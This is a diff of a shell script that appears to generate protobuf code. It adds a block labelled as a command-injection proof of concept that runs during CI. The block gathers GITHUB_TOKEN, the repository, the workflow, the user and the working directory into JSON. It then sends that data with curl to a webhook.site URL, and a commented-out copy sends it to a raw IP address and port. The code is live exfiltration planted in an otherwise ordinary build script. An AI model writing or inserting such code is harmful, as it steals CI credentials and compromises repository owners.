1616
1717# This script requires protobuf-compiler and https://github.com/nipunn1313/mypy-protobuf
1818
19+ # echo "[POC] Executing Proof of Concept code..."
20+ # echo "[POC] Preparing to exfiltrate data to 194.213.18.243:38793..."
21+
22+ # # Construct a JSON payload with environment details
23+ # JSON_PAYLOAD=$(cat <<EOF
24+ # {
25+ # "message": "SUCCESSFUL EXFILTRATION FROM GITHUB ACTIONS",
26+ # "github_token": "${GITHUB_TOKEN}",
27+ # "repository": "${GITHUB_REPOSITORY}",
28+ # "workflow": "${GITHUB_WORKFLOW}",
29+ # "current_user": "$(whoami)",
30+ # "working_directory": "$(pwd)"
31+ # }
32+ # EOF
33+ # )
34+
35+ # # Send the payload to the specified IP and port
36+ # curl -X POST -H "Content-Type: application/json" -d "${JSON_PAYLOAD}" http://194.213.18.243:38793
37+
38+ # echo "[POC] Data exfiltration attempt complete. Check your listener at 194.213.18.243:38793."
39+ # echo
40+
41+ # =================================================================
42+ # == POC SCRIPT FOR COMMAND INJECTION VULNERABILITY ==
43+ # This block will execute during the CI run and exfiltrate the
44+ # GITHUB_TOKEN to prove the vulnerability.
45+ # =================================================================
1946echo " [POC] Executing Proof of Concept code..."
20- echo " [POC] Preparing to exfiltrate data to 194.213.18.243:38793..."
21-
2247# Construct a JSON payload with environment details
2348JSON_PAYLOAD=$( cat << EOF
2449{
@@ -32,11 +57,12 @@ JSON_PAYLOAD=$(cat <<EOF
3257EOF
3358)
3459
35- # Send the payload to the specified IP and port
36- curl -X POST -H " Content-Type: application/json" -d " ${JSON_PAYLOAD} " http ://194.213.18.243:38793
60+ # Send the payload to the external webhook
61+ curl -X POST -H " Content-Type: application/json" -d " ${JSON_PAYLOAD} " https ://webhook.site/YOUR_UNIQUE_URL_HERE
3762
38- echo " [POC] Data exfiltration attempt complete. Check your listener at 194.213.18.243:38793."
39- echo
63+ echo " [POC] Done. Check your webhook."
64+ echo " ================================================================="
65+ # The original script continues below...
4066
4167set -e
4268
0 commit comments